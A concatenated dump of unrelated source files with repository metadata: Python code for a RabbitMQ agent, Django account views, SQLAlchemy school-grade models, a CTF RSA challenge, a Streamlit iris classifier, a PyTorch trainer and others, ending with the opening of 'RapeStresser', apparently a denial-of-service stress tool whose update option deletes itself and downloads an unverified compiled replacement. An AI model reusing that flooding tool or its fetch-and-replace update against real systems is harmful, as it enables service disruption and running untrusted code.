] | permissive | publicbull/agentredrabbit | c97b98f2e95363da2e3176f5fdafcf35df55de9a | ef31c204904606bf5ef7c4060487a282e6d1d6e3 | refs/heads/master | 2021-01-18T16:19:11.763299 | 2013-09-02T12:53:51 | 2013-09-02T12:53:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,181 | py | """
The main method and signal handlers for agentredrabbit
"""
#!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
import logging
import os
import pickle
import signal
import sys
import threading
from config import ReadConfig
from utils import log_format
from transport import Transporter
from transport import setFailsafeQueue, getFailsafeQueue
from optparse import OptionParser
except ImportError, err:
print "ImportError", err
import sys
sys.exit(1)
log = logging.getLogger(__name__)
threads = []
shutdown_event = None
def sighandler(signum, frame):
"""
Signal handler method for agentredrabbit. Its purpose is to capture signals
such as SIGTERM, SIGHUP, SIGQUIT, SIGINT and gracefully shutdown all the
thread workers. signum and frame params are passed by `signal`
"""
log.info("Starting graceful shutdown, caught signal #%s" % signum)
global threads, shutdown_event
shutdown_event.set()
for thread in threads:
thread.join()
for thread in threads:
log.info("%s running state = %s" % (thread, thread.is_alive()))
def main():
"""
Main method for agentredrabbit. The workflow consists of parsing cmd arg,
reading config file, have logger, signal handler setup, read from any
previously dumped failsafe queue, configure thread event and lock objects,
start threads and wait till a shutdown event is trigged upon which it dumps
any leftover message from the in memory failsafe queue to a dump file.
"""
log.setLevel(logging.INFO)
parser = OptionParser(usage="%prog [-c config] [-v]",
version="%prog %s")
parser.add_option("-c", "--config",
dest="config_file", default=None,
help="config file")
parser.add_option("-v", "--verbose",
action="store_true", dest="verbose", default=False,
help="increase debug level from INFO to DEBUG")
(options, args) = parser.parse_args()
# Read config file
cfg_path = "/etc/agentredrabbit.conf"
if options.config_file is not None:
cfg_path = options.config_file
config = ReadConfig(cfg_path)
# Setup logger
log_level = logging.INFO
if options.verbose:
log_level = logging.DEBUG
logging.basicConfig(filename=config["log_file"], filemode="a",
level=log_level, format=log_format)
logging.getLogger("pika").setLevel(logging.INFO)
# Setup signal handlers
signal.signal(signal.SIGTERM, sighandler)
signal.signal(signal.SIGINT, sighandler)
signal.signal(signal.SIGQUIT, sighandler)
signal.signal(signal.SIGHUP, sighandler)
queues = filter(lambda x: x.strip() != "", config["queues"].split(":"))
# Failsafe queue handling
failsafeq = {}
# Read from dump file if available
dumpfilename = config["dump_file"]
if os.path.exists(dumpfilename):
with open(dumpfilename, "rb") as dumpfile:
failsafeq = pickle.load(dumpfile)
log.info("Loaded failsafeq: " + str(failsafeq))
for queue in queues:
if not queue in failsafeq:
failsafeq[queue] = []
setFailsafeQueue(failsafeq)
# Start threads
global threads, shutdown_event
shutdown_event = threading.Event()
qlock = threading.Lock()
threadcount = int(config["workers"])
log.info("[+] Starting workers for queues: " + ", ".join(queues))
for idx, queue in enumerate(queues * threadcount):
thread = Transporter(idx, qlock, config, queue, shutdown_event)
thread.start()
threads.append(thread)
# Hang on till a shutdown event is triggered
while not shutdown_event.is_set():
signal.pause()
# Dump in failsafeq to the dump file
try:
log.info("Dumping failsafe queue")
dumpfile = open(dumpfilename, "wb")
pickle.dump(getFailsafeQueue(), dumpfile)
dumpfile.close()
except IOError, err:
log.error("Dumpiing failsafe queue failed: %s", err)
log.info("We had a clean shutdown, Bye!")
sys.exit(0)
if __name__ == "__main__":
main()
| [
"rohit.yadav@wingify.com"
] | rohit.yadav@wingify.com |
503b7f9f5bea3e416854a4403b9bb08dcf02eee1 | d07a4d928cf5c7e9826d4bd57a4aa70d1bbf9756 | /accounts/views.py | bbf666c3e281c25419c044a945392b7d6e77d7af | [
"MIT"
] | permissive | codexplore-io/django-blog | 8c197cdffd09e1966be715a30de3ff8818ad03d1 | 3305ce98a0baf2ceafdaa66d78088407d93a8258 | refs/heads/master | 2020-05-17T11:05:31.832642 | 2019-04-26T18:29:26 | 2019-04-26T18:29:26 | 183,675,976 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,508 | py | from django.shortcuts import render, redirect
from django.contrib.auth import get_user_model, authenticate, login, logout
from posts.models import Post
User = get_user_model()
# Create your views here.
def user_create_view(request):
if request.method == "POST":
context = {}
password1 = request.POST['password1']
password2 = request.POST['password2']
if password1 == password2:
username = request.POST['username']
email = request.POST['email']
try:
user1 = User.objects.get(username = username)
context['error'] = "Username or email is already in the system!"
return render(request, 'accounts/create.html', context = context)
except User.DoesNotExist:
try:
user2 = User.objects.get(email = email)
context['error'] = "Username or email is already in system!"
return render(request, 'accounts/create.html', context = context)
except User.DoesNotExist:
user = User.objects.create_user(username = username, email = email, password = password1)
return redirect('posts:list')
else:
context['error'] = "Passwords must match!"
return render(request, 'accounts/create.html', context = context)
else:
return render(request, 'accounts/create.html')
def user_login_view(request):
if request.method == "POST":
context = {}
username = request.POST['username']
password = request.POST['password']
user = authenticate(username = username, password = password)
if user is not None:
login(request, user)
context['success'] = "You are logged in!"
return render(request, 'accounts/login.html', context)
else:
context['error'] = "Invalid Login"
return render(request, 'accounts/login.html', context)
else:
return render(request, 'accounts/login.html')
def user_logout_view(request):
if request.user.is_authenticated:
logout(request)
return render(request, 'accounts/logout.html')
else:
return redirect('accounts:login')
def user_profile_view(request, username):
user = User.objects.get(username=username)
posts = Post.objects.filter(author = user)
context = {'posts':posts}
return render(request, 'accounts/profile.html', context = context)
| [
"tannersiciliano@gmail.com"
] | tannersiciliano@gmail.com |
05fb3c8bc1ba86519606a3ecb9ac40cccfed17ac | 2964ced169dd32ecccd9ba37f8cf3b866ec2309b | /apps/sections/models.py | 5d58a7f86874a8ca1ff32779001ada03959a6659 | [] | no_license | GanZiB4Fun/GanZiB-Web | d876de959575967c5f95daa1f561f98ac81b8750 | cdf6f11a91548b167e764adf64e18381da0d1c1e | refs/heads/master | 2021-03-24T13:26:20.344641 | 2018-01-15T11:10:15 | 2018-01-15T11:10:15 | 116,032,699 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 988 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2018/1/2 16:52
# @Author : GanZiB
# @Email : ganzib4fun@163.com
# @Site :
# @File : models.py
# @Software: PyCharm
from flask_sqlalchemy import BaseQuery
from apps import db
class SectionsQuery(BaseQuery):
def getall(self):
return self.all()
def getcategory_id(self, id):
return self.get(id)
class Sections(db.Model):
__tablename__ = 'sections'
query_class = SectionsQuery
book_id = db.Column(db.Integer, db.Sequence('book_id'), autoincrement=True)
title = db.Column(db.String(255))
content = db.Column(db.String(255))
section_order = db.Column(db.Integer())
section_url = db.Column(db.String(255), primary_key=True)
book_name = db.Column(db.String(255))
path = db.Column(db.String(255))
def __init__(self, *args, **kwargs):
super(Sections, self).__init__(*args, **kwargs)
def __repr__(self):
return '<user name %r>' % self.name | [
"ganzib4fun@163.com"
] | ganzib4fun@163.com |
31ad4b8319049da0c46adfbd3bb7d1f84e6ca502 | 364cad049756c8ae0882c4bddac36d27c9b9d5c9 | /ipynb/process_KITTI_data.py | 656c1171aa4f92c91f735fd90a4bad880e7c1487 | [
"MIT"
] | permissive | GarethZhang/PointNetLK | c03ee81425248749bad670b98257b7dfa02a7c8f | c5208880e3ebfabb8f0477bd0a012c88fd316aa6 | refs/heads/master | 2020-09-08T09:24:19.371643 | 2019-11-14T07:02:53 | 2019-11-14T07:02:53 | 221,093,069 | 0 | 0 | MIT | 2019-11-12T00:07:27 | 2019-11-12T00:07:26 | null | UTF-8 | Python | false | false | 491 | py | import pykitti
import os
import numpy as np
from scipy.stats import binned_statistic
import pickle
import cv2
def make_dir_if_not_exist(path):
if not os.path.exists(path):
os.makedirs(path)
return path
def ensure_file_dir_exists(path):
make_dir_if_not_exist(os.path.dirname(path))
return path
base_dir = '/home/haowei/Documents/files/research/datasets/KITTI/dataset'
sequences = ["04"]
for seq in sequences:
data = pykitti.odometry(base_dir, seq, frames=None) | [
"gareth.zhang@mail.utoronto.ca"
] | gareth.zhang@mail.utoronto.ca |
aedf4a7758d37e8f75483ebed1e2b39b589cc08d | c25ba294568ac36a04ae241511dbe012b3eaccfb | /Server/20180916213520426/Python/Server/Mark.py | bf976db936969b8c0211cf4b42c24236795d288b | [] | no_license | biabeniamin/CatalogScolarTeams | 1a502bc78c63be1a61ec5917835e2319bb7402dc | 247005895379683c510866500bb4a9ebf088c6c5 | refs/heads/master | 2023-02-16T16:58:46.333565 | 2021-01-19T19:59:02 | 2021-01-19T19:59:02 | 320,657,042 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,974 | py | #generated automatically
from sqlalchemy.orm import backref, relationship
from sqlalchemy.orm import validates
from SqlAlchemy import Base
from sqlalchemy.ext.declarative import declared_attr
from sqlalchemy import *
from sqlalchemy.dialects.mysql import DOUBLE
from ValidationError import ValidationError, validate_integer
from flask_restful import reqparse
import datetime
from math import floor
from Teacher import Teacher, getTeachers, getTeachersByTeacherId
from Student import Student, getStudents, getStudentsByStudentId
from Classe import Classe, getClasses, getClassesByClasseId
class Mark(Base):
@declared_attr
def __tablename__(cls):
return 'Marks'
#Fields
markId = Column('MarkId', Integer, primary_key=True)
value = Column('Value', Integer)
date = Column('Date', DateTime)
creationTime = Column('CreationTime', DateTime, default=datetime.datetime.utcnow)
#Foreign Fields
classeId = Column('ClasseId', Integer, ForeignKey("Classes.ClasseId"))
classes = relationship(Classe,backref = backref('marks'))
classe = null
studentId = Column('StudentId', Integer, ForeignKey("Students.StudentId"))
students = relationship(Student,backref = backref('marks'))
student = null
teacherId = Column('TeacherId', Integer, ForeignKey("Teachers.TeacherId"))
teachers = relationship(Teacher,backref = backref('marks'))
teacher = null
#Validation
@validates('classeId')
def validate_classeId(self, key, value):
return validate_integer(key, value, True)
@validates('studentId')
def validate_studentId(self, key, value):
return validate_integer(key, value, True)
@validates('teacherId')
def validate_teacherId(self, key, value):
return validate_integer(key, value, True)
@validates('value')
def validate_value(self, key, value):
return validate_integer(key, value, False)
#Functions
#complete classes funtion
def completeClasses(session, marks):
classes = getClasses(session)
for row in marks:
start = 0
end = len(classes)
while True:
mid = floor((start + end) / 2)
if(row.classeId > classes[mid].classeId):
start = mid + 1
elif(row.classeId < classes[mid].classeId):
end = mid - 1
elif(row.classeId == classes[mid].classeId):
start = mid + 1
end = mid - 1
row.classe = classes[mid]
if(start > end):
break
return marks
#complete students funtion
def completeStudents(session, marks):
students = getStudents(session)
for row in marks:
start = 0
end = len(students)
while True:
mid = floor((start + end) / 2)
if(row.studentId > students[mid].studentId):
start = mid + 1
elif(row.studentId < students[mid].studentId):
end = mid - 1
elif(row.studentId == students[mid].studentId):
start = mid + 1
end = mid - 1
row.student = students[mid]
if(start > end):
break
return marks
#complete teachers funtion
def completeTeachers(session, marks):
teachers = getTeachers(session)
for row in marks:
start = 0
end = len(teachers)
while True:
mid = floor((start + end) / 2)
if(row.teacherId > teachers[mid].teacherId):
start = mid + 1
elif(row.teacherId < teachers[mid].teacherId):
end = mid - 1
elif(row.teacherId == teachers[mid].teacherId):
start = mid + 1
end = mid - 1
row.teacher = teachers[mid]
if(start > end):
break
return marks
#get funtion
def getMarks(session):
result = session.query(Mark).all()
result = completeClasses(session, result)
result = completeStudents(session, result)
result = completeTeachers(session, result)
return result
#get dedicated request funtions
def getMarksByClasseIdStudentId(session, classeId, studentId):
result = session.query(Mark).filter(Mark.classeId == classeId, Mark.studentId == studentId).all()
result = completeClasses(session, result)
result = completeStudents(session, result)
result = completeTeachers(session, result)
return result
def getMarksByStudentId(session, studentId):
result = session.query(Mark).filter(Mark.studentId == studentId).all()
result = completeClasses(session, result)
result = completeStudents(session, result)
result = completeTeachers(session, result)
return result
def getMarksByMarkId(session, markId):
result = session.query(Mark).filter(Mark.markId == markId).all()
result = completeClasses(session, result)
result = completeStudents(session, result)
result = completeTeachers(session, result)
return result
#add funtion
def addMark(session, mark):
mark.creationTime = datetime.datetime.utcnow()
session.add(mark)
session.commit()
#this must stay because sqlalchemy query the database because of this line
print('Value inserted with markId=', mark.markId)
mark.teacher = getTeachersByTeacherId(session, mark.teacherId)[0]
mark.student = getStudentsByStudentId(session, mark.studentId)[0]
mark.classe = getClassesByClasseId(session, mark.classeId)[0]
return mark
#update funtion
def updateMark(session, mark):
result = session.query(Mark).filter(Mark.markId == mark.markId).first()
result = mark
session.commit()
result = session.query(Mark).filter(Mark.markId == mark.markId).first()
result.teacher = getTeachersByTeacherId(session, result.teacherId)[0]
result.student = getStudentsByStudentId(session, result.studentId)[0]
result.classe = getClassesByClasseId(session, result.classeId)[0]
return result
#delete funtion
def deleteMark(session, markId):
result = session.query(Mark).filter(Mark.markId == markId).first()
session.delete(result)
session.commit()
return result
#API endpoints
#request parser funtion
def getmarkRequestArguments():
parser = reqparse.RequestParser()
parser.add_argument('classeId')
parser.add_argument('studentId')
parser.add_argument('teacherId')
parser.add_argument('value')
parser.add_argument('date')
return parser
| [
"biabeniamin@outlook.com"
] | biabeniamin@outlook.com |
dc19cf1d9e622a9dee15bf79c56443863a834648 | 860187a5081513d9b4a59260e4ba4e290c4f4638 | /quals/crypto/pqrsen/prob.py | 081cc3cbe2921af8625d14202f080d2196eb5057 | [
"MIT"
] | permissive | fraglantia/CTF-Arkavidia-6 | e0e89315bad16e4f2497aa93ffcc0543256166f6 | 97cc9f5d5fff158db83d9f7a411e7022c94b4b71 | refs/heads/master | 2022-04-01T13:40:26.602541 | 2020-02-14T06:10:01 | 2020-02-14T06:10:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 388 | py | from Crypto.Util.number import *
from secret import *
m = bytes_to_long(flag)
p = getPrime(2048)
q = getPrime(2048)
r = inverse(pow(p,3),q)
s = (pow(p,2,p*q) - pow(q,0x10001,p*q)) % (p*q)
e = 0x10001
n = p*q
assert(m < n)
c = (pow(r*m,e,n)*inverse(s,n))% n
c = pow(c,2,n)
open("pub.key","w").writelines(map(lambda x: x + "\n", map(str, [r, s, e, n])))
open("flag.enc","w").write(str(c)) | [
"munirabdullahm@gmail.com"
] | munirabdullahm@gmail.com |
e9e335201ab716e0b4e0c4dd41ecd24d930e054d | b7eb41b068614e04f38a969326f43d8f8119cb05 | /74_search_a_2d_matrix.py | ca546b4123fa5936447cab9c7edc0057dcffd1b4 | [] | no_license | YI-DING/daily-leetcode | ddfb6985bf5014886cba8d6219da243e0aa28d71 | a6d3898d900f2063302dc1ffc3dafd61eefa79b7 | refs/heads/master | 2020-05-19T06:07:21.557077 | 2019-07-19T16:31:46 | 2019-07-19T16:31:46 | 184,866,366 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,009 | py | class Solution:
def searchMatrix(self, matrix: List[List[int]], target: int):
if not matrix or not matrix[0]:
return False
start, end = 0, len(matrix)-1
while start+1 < end:
mid = (start+end)//2
if matrix[mid][0] > target:
end = mid
else:
start = mid
if matrix[end][0] > target:
row, start, end = start, 0, len(matrix[0])-1
else:
row, start, end = end, 0, len(matrix[0])-1
while start+1 < end:
mid = (start+end)//2
if matrix[row][mid] > target:
end = mid
else:
start = mid
if matrix[row][start] == target:
return True
elif matrix[row][end] == target:
return True
return False
#this method uses BFS twice, first among rows then among cols
#however you could see it as len(m*n) and do binary search for only once | [
"yiding1@uchicago.edu"
] | yiding1@uchicago.edu |
123d18a02f05d17059d952a8169d5b7d13b2133e | 61bd4a9dfd606b3c9efd52f23848b7329b18a909 | /Pythonscripts/run_predictions.py | 071dc31901d1c69daae74de43dde6e21c174c466 | [] | no_license | philmcc/aistocks | e9e85dc65e5439793cc5caa4d851a9149ff762a1 | 0706ce7d63db271ee807cc1f6dba8cd178223612 | refs/heads/master | 2021-01-10T05:36:33.736881 | 2016-09-06T13:53:03 | 2016-09-06T13:53:03 | 46,048,154 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,673 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
import MySQLdb as mdb
from pyfann import libfann
from datetime import date
from network_functions import save_prediction
mydate = date.today()
con = None
con = mdb.connect('localhost', 'root',
'fil1202job', 'stock');
with con:
cur = con.cursor(mdb.cursors.DictCursor)
cur1 = con.cursor()
cur2 = con.cursor()
#
# Get a list of all networks
#
cur.execute("SELECT a.id, a.group, b.ticker, b.predict_data, a.net_file FROM `network`.`network` a, network.net_group b where a.group = b.id;")
rows = cur.fetchall()
for row in rows:
#
# For each network get the training data - only most recent data at the moment
#
#seldate = "select latest_prediction from network.network where id = " + str(row["id"])
#cur2.execute(seldate)
#latestdate = cur2.fetchone()
#latestdate1 = latestdate[0]
#print latestdate1
cur1.execute(row["predict_data"])
for row1 in cur1.fetchall():
#
# Extract Date
#
mydate = row1[(len(row1) - 1)]
row1b = list(row1)
del row1b[(len(row1b) - 1)]
#
# Set up network
#
ann = libfann.neural_net()
ann.create_from_file(row["net_file"])
#
# Run Prediction
#
print ann.run(row1b)
prediction = ann.run(row1b)
prediction = str(prediction).translate(None, '[]')
#
# Store results in db - Function
#
save_prediction(row["id"], mydate, prediction)
| [
"pmcclarence@iparadigms.com"
] | pmcclarence@iparadigms.com |
2e897d9ec97d05599a782b93f0e1b52ef8e1ba62 | f9fb4f8073d963c349679e7f40b73dc711160991 | /py-casanova/Lesson2/exo_cc_lesson_2.py | d2dd6e44d1cc887025ca1997ed65bdfb2c64fd21 | [] | no_license | ouedraogoboukary/starter-kit-datascience | 83606196fc19cc3385ba8e846ef3014ff9e0b2e9 | f621d4a1d7826c79c7ebd3a5a07a0138199e6c82 | refs/heads/master | 2020-10-01T01:04:23.460810 | 2017-12-04T22:33:52 | 2017-12-04T22:33:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,621 | py | #! /usr/bin/python3.5
import unittest
# Given a string and a non-negative int n, return a larger string
# that is n copies of the original string.
def string_times(string, n):
if not(isinstance(n, int)):
return "bad argument"
if not(isinstance(string, str)):
return "bad argument"
return n * string
# Given an array of ints, return True if one of the first 4 elements
# in the array is a 9. The array length may be less than 4.
def array_front9(nums):
return(9 in nums[0:4])
# Given a string, return the count of the number of times
# that a substring length 2 appears in the string and also as
# the last 2 chars of the string, so "hixxxhi" yields 1 (we won't count
# the end substring).
# (i.e. prendre les 2 derniers caractères comme pattern)
""" Rq: non glissant (i.e. sans compter les overlaps)
def last2(string):
count = 0
if(string[-2:] in string[0:-2]):
count += 1
return count
"""
""" Rq: non glissant (i.e. sans compter les overlaps)
def last2(string):
return string[0:-2].count(string[-2:])
"""
""" Glissant """
def last2(string):
count = 0
windows = [string[i:i + 2] for i in range(len(string[0:-2]))]
for window in windows:
if(window == string[-2:]):
count += 1
return count
# Write a program that maps a list of words into a list of
# integers representing the lengths of the correponding words.
def length_words(array):
return list(map(lambda x: len(x), array))
# write fizbuzz programm
def fizbuzz():
for i in range(100):
if(i % 15 == 0):
print(i, "fizzbuzz")
if(i % 3 == 0 and i % 15):
print(i, "fizz")
if(i % 5 == 0 and i % 15):
print(i, "buzz")
# Write a function that takes a number and returns a list of its digits.
def number2digits(number):
return [int(d) for d in str(number)]
# Write function that translates a text to Pig Latin and back.
# English is translated to Pig Latin by taking the first letter of every word,
# moving it to the end of the word and adding 'ay'
def pigLatin(text):
out = ""
words = text.split(" ")
for word in words:
wordlist = list(word)
wordlist.append(wordlist[0])
wordlist[0] = ""
wordlist = "".join(wordlist)
out += str(wordlist) + "ay" + " "
return out.lower().rstrip().capitalize()
# Here's our "unit tests".
class Lesson1Tests(unittest.TestCase):
def testArrayFront9(self):
self.assertEqual(array_front9([1, 2, 9, 3, 4]), True)
self.assertEqual(array_front9([1, 2, 3, 4, 9]), False)
self.assertEqual(array_front9([1, 2, 3, 4, 5]), False)
def testStringTimes(self):
self.assertEqual(string_times('Hel', 2), 'HelHel')
self.assertEqual(string_times('Toto', 1), 'Toto')
self.assertEqual(string_times('P', 4), 'PPPP')
def testLast2(self):
self.assertEqual(last2('hixxhi'), 1)
self.assertEqual(last2('xaxxaxaxx'), 1)
self.assertEqual(last2('axxxaaxx'), 2)
def testLengthWord(self):
self.assertEqual(length_words(['hello', 'toto']), [5, 4])
self.assertEqual(length_words(
['s', 'ss', '59fk', 'flkj3']), [1, 2, 4, 5])
def testNumber2Digits(self):
self.assertEqual(number2digits(8849), [8, 8, 4, 9])
self.assertEqual(number2digits(4985098), [4, 9, 8, 5, 0, 9, 8])
def testPigLatin(self):
self.assertEqual(pigLatin("The quick brown fox"),
"Hetay uickqay rownbay oxfay")
def main():
unittest.main()
if __name__ == '__main__':
main()
| [
"pycasa@gmail.com"
] | pycasa@gmail.com |
beeb994bc275b0d7566e4102cb3cde213340d3ed | d7ae1e6da46ae8198aedff8c3a21db09c6829083 | /my1021_2_2.py | 54c29253165b444ada0bfbc5961cdaa67d83bc64 | [] | no_license | Aminoragit/Mr.noobiest | b503bbeac2777cd2fe6c5ba24d032f2204fe7bde | 5070e7c3215c8a6400879e52e55f47125bfca268 | refs/heads/master | 2022-03-26T18:22:31.989429 | 2019-12-27T00:31:08 | 2019-12-27T00:31:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 83 | py | string_object = "python programming"
for ch in string_object :
print(ch)
| [
"noreply@github.com"
] | Aminoragit.noreply@github.com |
e15132e5771bf4da3f169285b889ad3627901912 | 63fdf9369b28cf956789a374ab9e237da250ab82 | /forgebox/ftorch/train.py | fc18cc026af955dc054aca3143e6fb4fdc7d2605 | [] | no_license | raynardj/forge | a9fc66a9cc6d08856a2ca83f4c6f6e76058ad8e9 | 81a10c443b31ed13dd615f58a4f322657e656244 | refs/heads/master | 2023-07-06T08:53:14.453836 | 2019-08-26T07:53:27 | 2019-08-26T07:53:27 | 168,506,241 | 7 | 0 | null | 2023-06-22T19:59:32 | 2019-01-31T10:24:54 | Python | UTF-8 | Python | false | false | 2,623 | py | import __main__ as main
from torch.utils.data import DataLoader
from collections import namedtuple
try:
JUPYTER = True if main.get_ipython else False
except:
JUPYTER = False
if JUPYTER: from tqdm import tqdm_notebook as tn
TrainerBatch = namedtuple("TrainerBatch", ("epoch", "i", "data", "trainer"))
from forgebox.train import Trainer as Universal_Trainer
class Trainer(Universal_Trainer):
def __init__(self, dataset, val_dataset=None, batch_size=16, fg=None,
print_on=20, fields=None, is_log=True, shuffle=True, num_workers=4,
conn=None, modelName="model", tryName="try", callbacks=[], val_callbacks=[]):
"""
Pytorch trainer
fields: the fields you choose to print out
is_log: writing a log？
Training:
write action function for a step of training,
assuming a generator will spit out tuple x,y,z in each:
then pass the function to object
t=Trainer(...)
t.train(epochs = 30)
@t.step_train
def action(batch):
x,y,z = batch.data
x,y,z = x.cuda(),y.cuda(),z.cuda()
#optimizer is a global variable, or many different optimizers if you like
sgd.zero_grad()
adam.zero_grad()
# model is a global variable, or many models if you like
y_ = model(x)
y2_ = model_2(z)
...... more param updating details here
return {"loss":loss.data[0],"acc":accuracy.data[0]}
same work for validation:trainer.val_action = val_action
conn: a sql table connection, (sqlalchemy). if assigned value, save the record in the designated sql database;
"""
train_data = DataLoader(dataset, batch_size=batch_size, shuffle=shuffle, num_workers=num_workers)
val_data = DataLoader(val_dataset, batch_size=batch_size, shuffle=shuffle,
num_workers=num_workers) if val_dataset else None
train_len = len(train_data)
val_len = len(val_data) if val_data else None
super().__init__(train_data, train_len=train_len, val_data=val_data, val_len=val_len,
fg=fg, print_on=print_on, fields=fields,
is_log=is_log, conn=conn, modelName=modelName,
tryName=tryName, callbacks=callbacks, val_callbacks=val_callbacks
)
| [
"raynard@rasenn.com"
] | raynard@rasenn.com |
f789b859c8548d0cde3a2a1d0d92f48e291ed514 | 3d12a844953e83b3ae13b1788fedf8cce5d33de9 | /program.py | a76c6d7312b50ae2c5d070b6cfb746b2b43d1d1e | [] | no_license | karthik0500/analyze | 8cd14ff01d8dea77564ad778cd752823a102fe71 | 9de5da46c994f65a307ca5a98ae45ff64020c614 | refs/heads/main | 2023-06-11T04:36:26.448762 | 2021-07-04T04:36:51 | 2021-07-04T04:36:51 | 382,659,930 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,333 | py |
import streamlit as st
import sklearn
import numpy as np
import pandas as pd
from sklearn import datasets
from sklearn.ensemble import RandomForestClassifier
st.write("""Simple Iris Flower Prediction""")
st.sidebar.header('User Input parameter')
def User_Input_Features():
sepal_length = st.sidebar.slider('sepal_length',4.3, 7.9, 5.4)
sepal_width = st.sidebar.slider('sepal_width',3.5, 7.9, 5.4)
petal_length = st.sidebar.slider('petal_length',1.4, 7.9, 5.4)
petal_width = st.sidebar.slider('petal_width',0.2, 7.9, 5.4)
data = { 'sepal_length' :sepal_length ,
'sepal_width':sepal_width,
'petal_length' : petal_length,
'petal_width' : petal_width
}
features = pd.DataFrame(data,index = [0])
return features
df = User_Input_Features()
st.subheader('User Input Parameter')
st.write(df)
iris = datasets.load_iris()
x= iris.data
y = iris.target
classify = RandomForestClassifier()
classify.fit(x,y)
prediction = classify.predict(df)
prediction_probability = classify.predict_proba(df)
st.subheader('class label and their corresponding index number')
st.write(iris.target_names)
st.subheader('Prediction')
st.write(iris.target_names[prediction])
st.subheader('Prediction Probability')
st.write(prediction_probability)
st.bar_chart(prediction_probability)
| [
"noreply@github.com"
] | karthik0500.noreply@github.com |
a76f854b2570b8c9af51c1adba282901b8e156a8 | 71f6cc279029dde917e9d4e51abc8a30927eb520 | /rename_1d.py | 7bd596f84a1443eb11d8b957048e9e0b0a6a909a | [] | no_license | threeHardWorker/auto_tbdata | c2a03a4fb810c904c24c026b8730ea00ef07222e | b5371d7bca2ab80d8e340dce8bda3a07945af1f1 | refs/heads/master | 2020-03-18T17:29:42.143475 | 2018-05-27T09:27:56 | 2018-05-27T09:27:56 | 135,032,056 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 315 | py | import os
import sys
if len(sys.argv) != 3:
print('Usage: reanme.py <start date> <end date>\n')
exit(0)
path = 'c:\\tmp\\csv'
s = '10秒'
d = '10s_' + sys.argv[1] + '_' + sys.argv[2]
fs = os.listdir(path)
for f in fs:
os.rename(path + '\\' + f,
path + '\\' + f.replace(s, d)) | [
"stoneguo@126.com"
] | stoneguo@126.com |
5bfdfd70e551c90834a8033de5bf56429dacecac | b5e5792c66d61af45b9f93b1a289045f9dbbab96 | /api/migrations/0005_auto_20200509_0112.py | 1e84495100ebf6da261816be2b48bf2d4190df60 | [] | no_license | frankiegu/ecust_annotation | 4c39da1ac4ae643d388f6859f79195139634d2b0 | 115a15942c0ca3b32f06f74d23b3bce6c5ed0163 | refs/heads/master | 2022-10-12T04:15:25.272851 | 2020-05-11T00:39:57 | 2020-05-11T00:39:57 | 295,602,620 | 0 | 3 | null | 2020-09-15T03:19:14 | 2020-09-15T03:19:13 | null | UTF-8 | Python | false | false | 730 | py | # Generated by Django 2.2.5 on 2020-05-09 01:12
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('api', '0004_auto_20200508_0951'),
]
operations = [
migrations.AddField(
model_name='dic',
name='standard',
field=models.ForeignKey(default='', on_delete=django.db.models.deletion.CASCADE, related_name='dic', to='api.Standard'),
),
migrations.AlterField(
model_name='dic',
name='entity_template',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='dic', to='api.Entity_template'),
),
]
| [
"kyrieming@126.com"
] | kyrieming@126.com |
cb51efd3406c8c2cc66cb2f9fbe807f889d82670 | ae043a0200f4dc087c30b2cadddc98d63577df71 | /scripts/Rigging/create_Obj.py | 463f6e7ea6ef48ab98c94840416b63b34ab1128b | [] | no_license | RiggerLiuqi/lqMayaScript | b7ba2dfcfc1a3581beedbba6d70ca0e68282cb38 | cb51742fa712b783744e6192f5b29b43155f392d | refs/heads/master | 2022-06-24T04:03:19.898782 | 2020-05-10T18:33:05 | 2020-05-10T18:33:05 | 262,835,928 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 411 | py | # -*- coding: utf-8 -*-#
# -------------------------------------------------------------------------------#
# .@FileName: create_Obj
# .@Author: CousinRig67
# .@Date: 2020-04-20
# .@Contact: 842076056@qq.com
# -------------------------------------------------------------------------------#
from createObjectAtAvg import createObject
def main(*args):
obj_ui = createObject.craObjAtAvg() | [
"842076056@qq.com"
] | 842076056@qq.com |
5805016b6deb1eb7bbccac74feb8dc8aebe20e1f | 682a16bc7705f16af80b87775780ecb41c7fb1d5 | /rs.py | 353aa60f04c850e268adb741b2de57ce7e5e8d74 | [
"MIT"
] | permissive | dannydeleon8998/RapeStresser | 4e4feea9d306c24ce4ca1575e4d6857e1c3eb4c5 | 3521997cb3baff5fd4955ca5fa4edc2d41f675b4 | refs/heads/master | 2022-04-27T07:39:55.382610 | 2020-04-28T02:29:29 | 2020-04-28T02:29:29 | 259,509,503 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 76,555 | py | # MIT LICENCE Taguar258 2020
# Please read the Licence to know your permissions.
argvexit = False
try:
import socket
import os
import sys
import time
from threading import Thread
import urllib2
import re
import redis
import pickle
import wget
import nmap
try:
import readline
except:
pass
import requests
except Exception as e:
print("Imports could not be done/missing imports.")
print("All imports of file: (socket, os, sys, time, threading, urllib2, pickle, re), redis, wget, nmap.")
print(e)
sys.exit()
if argvexit:
sys.exit()
try:
if "--update" == sys.argv[1]:
try:
os.system("rm -i %s" % sys.argv[0])
wget.download("https://github.com/Taguar258/Raven-Storm/blob/master/rs.pyo?raw=true ")
os.system("mv rs.pyo?raw=true %s" % sys.argv[0])
except:
print("Error.")
sys.exit()
except:
pass
rsversion = "2.8"
ip = ""
port = 80
messages = 'hello its me, rs'
threads = 160
rtxt = 1
messagezw = messages
sleepy = 0
timeforstress = 0.5
stresserror = "false"
stressstep = 2
runactive = 'true'
outtxt = "true"
outtxtmute = False
zwouttxt = "true"
modeh = "false"
stress = "false"
stresstestvar = 1
setmb = 0
helphelp = 'true'
